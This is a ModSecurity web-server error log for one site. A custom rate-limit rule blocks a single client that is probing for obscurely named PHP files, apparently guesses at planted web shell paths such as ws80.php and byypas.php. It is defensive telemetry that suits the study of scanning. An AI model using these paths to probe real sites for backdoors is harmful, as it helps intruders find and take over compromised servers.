[Fri Mar 27 18:17:52.429740 2026] [:error] [pid 4293:tid 4299] [client 20.91.226.172:2932] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acZZUJLjeJUC3OKtEx83uwAAAUQ"]
[Fri Mar 27 18:17:52.975040 2026] [:error] [pid 4293:tid 4317] [client 20.91.226.172:8012] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acZZUJLjeJUC3OKtEx83vwAAAVY"]
[Fri Mar 27 18:17:53.519635 2026] [:error] [pid 4293:tid 4301] [client 20.91.226.172:2901] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/varb.php"] [unique_id "acZZUZLjeJUC3OKtEx83wgAAAUY"]
[Fri Mar 27 18:17:54.162750 2026] [:error] [pid 27743:tid 27786] [client 20.91.226.172:22544] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/varb.php"] [unique_id "acZZUiA46UYYLqzw99CuNgAAABY"]
[Fri Mar 27 18:17:54.738397 2026] [:error] [pid 27743:tid 27774] [client 20.91.226.172:2937] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/varb.php"] [unique_id "acZZUiA46UYYLqzw99CuOAAAAAo"]
[Fri Mar 27 18:17:55.279714 2026] [:error] [pid 27749:tid 27809] [client 20.91.226.172:11914] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/varb.php"] [unique_id "acZZU8EqyoMni2Q6_X7g4wAAAFI"]
[Fri Mar 27 18:17:55.833633 2026] [:error] [pid 4341:tid 4362] [client 20.91.226.172:9454] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lm15.php"] [unique_id "acZZU-KJWrNB5dMlERF5FgAAAZM"]
[Fri Mar 27 18:17:56.402309 2026] [:error] [pid 63897:tid 63902] [client 20.91.226.172:17387] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lm15.php"] [unique_id "acZZVGVSkmYmLu7ycYgv4QAAAQM"]
[Fri Mar 27 18:17:56.949617 2026] [:error] [pid 4293:tid 4310] [client 20.91.226.172:8054] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lm15.php"] [unique_id "acZZVJLjeJUC3OKtEx83zAAAAU8"]
[Fri Mar 27 18:17:57.552897 2026] [:error] [pid 63897:tid 63914] [client 20.91.226.172:11955] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lm15.php"] [unique_id "acZZVWVSkmYmLu7ycYgv4wAAAQ8"]
[Fri Mar 27 18:17:58.167082 2026] [:error] [pid 4341:tid 4353] [client 20.91.226.172:12798] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/clss.php"] [unique_id "acZZVuKJWrNB5dMlERF5HwAAAYo"]
[Fri Mar 27 18:17:58.841202 2026] [:error] [pid 4293:tid 4314] [client 20.91.226.172:15754] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/clss.php"] [unique_id "acZZVpLjeJUC3OKtEx830gAAAVM"]
[Fri Mar 27 18:17:59.485492 2026] [:error] [pid 27743:tid 27781] [client 20.91.226.172:10678] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/clss.php"] [unique_id "acZZVyA46UYYLqzw99CuSQAAABE"]
[Fri Mar 27 18:18:00.027957 2026] [:error] [pid 4293:tid 4312] [client 20.91.226.172:10687] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/clss.php"] [unique_id "acZZWJLjeJUC3OKtEx833AAAAVE"]
[Fri Mar 27 18:18:00.632379 2026] [:error] [pid 4293:tid 4302] [client 20.91.226.172:17401] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/44.php"] [unique_id "acZZWJLjeJUC3OKtEx834wAAAUc"]
[Fri Mar 27 18:18:01.237497 2026] [:error] [pid 27743:tid 27782] [client 20.91.226.172:9442] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/44.php"] [unique_id "acZZWSA46UYYLqzw99CuUQAAABI"]
[Fri Mar 27 18:18:01.827773 2026] [:error] [pid 4341:tid 4360] [client 20.91.226.172:11258] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/44.php"] [unique_id "acZZWeKJWrNB5dMlERF5JgAAAZE"]
[Fri Mar 27 18:18:02.383728 2026] [:error] [pid 4293:tid 4298] [client 20.91.226.172:61863] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/44.php"] [unique_id "acZZWpLjeJUC3OKtEx838gAAAUM"]
[Fri Mar 27 18:18:02.936963 2026] [:error] [pid 27743:tid 27783] [client 20.91.226.172:12025] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5e0a.php"] [unique_id "acZZWiA46UYYLqzw99CuWgAAABM"]
[Fri Mar 27 18:18:03.523394 2026] [:error] [pid 63897:tid 63910] [client 20.91.226.172:11951] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5e0a.php"] [unique_id "acZZW2VSkmYmLu7ycYgv6wAAAQs"]
[Fri Mar 27 18:18:04.095014 2026] [:error] [pid 27750:tid 27836] [client 20.91.226.172:11992] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5e0a.php"] [unique_id "acZZXIaSil5rd17ieLzcJwAAAJI"]
[Fri Mar 27 18:18:04.629253 2026] [:error] [pid 63897:tid 63918] [client 20.91.226.172:17965] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5e0a.php"] [unique_id "acZZXGVSkmYmLu7ycYgv8wAAARM"]
[Fri Mar 27 18:18:05.196446 2026] [:error] [pid 4293:tid 4308] [client 20.91.226.172:11673] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bo.php"] [unique_id "acZZXZLjeJUC3OKtEx83-gAAAU0"]
[Fri Mar 27 18:18:05.774847 2026] [:error] [pid 27851:tid 27868] [client 20.91.226.172:17944] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bo.php"] [unique_id "acZZXXR2ccxe3RMCLbrWYQAAAMo"]
[Fri Mar 27 18:18:06.366539 2026] [:error] [pid 27750:tid 27839] [client 20.91.226.172:43167] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bo.php"] [unique_id "acZZXoaSil5rd17ieLzcLwAAAJU"]
[Fri Mar 27 18:18:07.057573 2026] [:error] [pid 4293:tid 4311] [client 20.91.226.172:61889] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bo.php"] [unique_id "acZZX5LjeJUC3OKtEx84AQAAAVA"]
[Fri Mar 27 18:18:07.634834 2026] [:error] [pid 4341:tid 4367] [client 20.91.226.172:11692] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/56c53.php"] [unique_id "acZZX-KJWrNB5dMlERF5MAAAAZg"]
[Fri Mar 27 18:18:08.293179 2026] [:error] [pid 4341:tid 4350] [client 20.91.226.172:22579] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/56c53.php"] [unique_id "acZZYOKJWrNB5dMlERF5NwAAAYc"]
[Fri Mar 27 18:18:08.905716 2026] [:error] [pid 63897:tid 63919] [client 20.91.226.172:11670] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/56c53.php"] [unique_id "acZZYGVSkmYmLu7ycYgv9wAAARQ"]
[Fri Mar 27 18:18:09.514983 2026] [:error] [pid 4341:tid 4354] [client 20.91.226.172:8062] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/56c53.php"] [unique_id "acZZYeKJWrNB5dMlERF5OgAAAYs"]
[Fri Mar 27 18:18:10.058004 2026] [:error] [pid 27743:tid 27782] [client 20.91.226.172:21001] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx78.php"] [unique_id "acZZYiA46UYYLqzw99CucgAAABI"]
[Fri Mar 27 18:18:10.622706 2026] [:error] [pid 4293:tid 4300] [client 20.91.226.172:11941] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx78.php"] [unique_id "acZZYpLjeJUC3OKtEx84DQAAAUU"]
[Fri Mar 27 18:18:11.234935 2026] [:error] [pid 4341:tid 4361] [client 20.91.226.172:8007] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx78.php"] [unique_id "acZZY-KJWrNB5dMlERF5PAAAAZI"]
[Fri Mar 27 18:18:11.803589 2026] [:error] [pid 4293:tid 4317] [client 20.91.226.172:9136] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx78.php"] [unique_id "acZZY5LjeJUC3OKtEx84FQAAAVY"]
[Fri Mar 27 18:18:12.436839 2026] [:error] [pid 27743:tid 27787] [client 20.91.226.172:11239] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "acZZZCA46UYYLqzw99CuewAAABc"]
[Fri Mar 27 18:18:13.123020 2026] [:error] [pid 27743:tid 27778] [client 20.91.226.172:22551] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "acZZZSA46UYYLqzw99CugwAAAA4"]
[Fri Mar 27 18:18:13.726780 2026] [:error] [pid 63897:tid 63917] [client 20.91.226.172:10674] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "acZZZWVSkmYmLu7ycYgwBgAAARI"]
[Fri Mar 27 18:18:14.313619 2026] [:error] [pid 27750:tid 27825] [client 20.91.226.172:43139] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "acZZZoaSil5rd17ieLzcMwAAAIc"]
[Fri Mar 27 18:18:14.871480 2026] [:error] [pid 4293:tid 4297] [client 20.91.226.172:43153] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "acZZZpLjeJUC3OKtEx84GAAAAUI"]
[Fri Mar 27 18:18:15.475732 2026] [:error] [pid 4293:tid 4314] [client 20.91.226.172:8032] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "acZZZ5LjeJUC3OKtEx84HgAAAVM"]
[Fri Mar 27 18:18:16.090292 2026] [:error] [pid 27743:tid 27764] [client 20.91.226.172:26432] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "acZZaCA46UYYLqzw99CulAAAAAA"]
[Fri Mar 27 18:18:16.621871 2026] [:error] [pid 27743:tid 27788] [client 20.91.226.172:21052] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "acZZaCA46UYYLqzw99CumgAAABg"]
[Fri Mar 27 18:18:17.193893 2026] [:error] [pid 27749:tid 27808] [client 20.91.226.172:2777] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "acZZacEqyoMni2Q6_X7g6QAAAFE"]
[Fri Mar 27 18:18:17.851618 2026] [:error] [pid 27743:tid 27783] [client 20.91.226.172:26088] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "acZZaSA46UYYLqzw99CurgAAABM"]
[Fri Mar 27 18:18:18.491668 2026] [:error] [pid 27749:tid 27805] [client 20.91.226.172:2930] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "acZZasEqyoMni2Q6_X7g6wAAAE4"]
[Fri Mar 27 18:18:19.098841 2026] [:error] [pid 27743:tid 27773] [client 20.91.226.172:8038] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "acZZayA46UYYLqzw99CuswAAAAk"]
[Fri Mar 27 18:18:19.694744 2026] [:error] [pid 4341:tid 4349] [client 20.91.226.172:21006] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "acZZa-KJWrNB5dMlERF5TQAAAYY"]
[Fri Mar 27 18:18:20.260487 2026] [:error] [pid 27749:tid 27791] [client 20.91.226.172:42714] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "acZZbMEqyoMni2Q6_X7g7gAAAEA"]
[Fri Mar 27 18:18:20.793096 2026] [:error] [pid 27743:tid 27782] [client 20.91.226.172:22587] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "acZZbCA46UYYLqzw99CuvgAAABI"]
[Fri Mar 27 18:18:21.388408 2026] [:error] [pid 27851:tid 27863] [client 20.91.226.172:11696] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "acZZbXR2ccxe3RMCLbrWeAAAAMU"]
[Fri Mar 27 18:18:21.969180 2026] [:error] [pid 27743:tid 27786] [client 20.91.226.172:8163] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "acZZbSA46UYYLqzw99CuxgAAABY"]
[Fri Mar 27 18:18:22.536447 2026] [:error] [pid 4293:tid 4301] [client 20.91.226.172:35064] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "acZZbpLjeJUC3OKtEx84MQAAAUY"]
[Fri Mar 27 18:18:23.114352 2026] [:error] [pid 63897:tid 63913] [client 20.91.226.172:11672] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "acZZb2VSkmYmLu7ycYgwFQAAAQ4"]
[Fri Mar 27 18:18:23.666357 2026] [:error] [pid 63897:tid 63910] [client 20.91.226.172:15566] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "acZZb2VSkmYmLu7ycYgwGQAAAQs"]
[Fri Mar 27 18:18:24.353110 2026] [:error] [pid 27749:tid 27806] [client 20.91.226.172:2763] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws49.php"] [unique_id "acZZcMEqyoMni2Q6_X7g8wAAAE8"]
[Fri Mar 27 18:18:24.902409 2026] [:error] [pid 27750:tid 27841] [client 20.91.226.172:15577] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws49.php"] [unique_id "acZZcIaSil5rd17ieLzcSAAAAJc"]
[Fri Mar 27 18:18:25.486982 2026] [:error] [pid 27743:tid 27777] [client 20.91.226.172:10933] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws49.php"] [unique_id "acZZcSA46UYYLqzw99Cu0QAAAA0"]
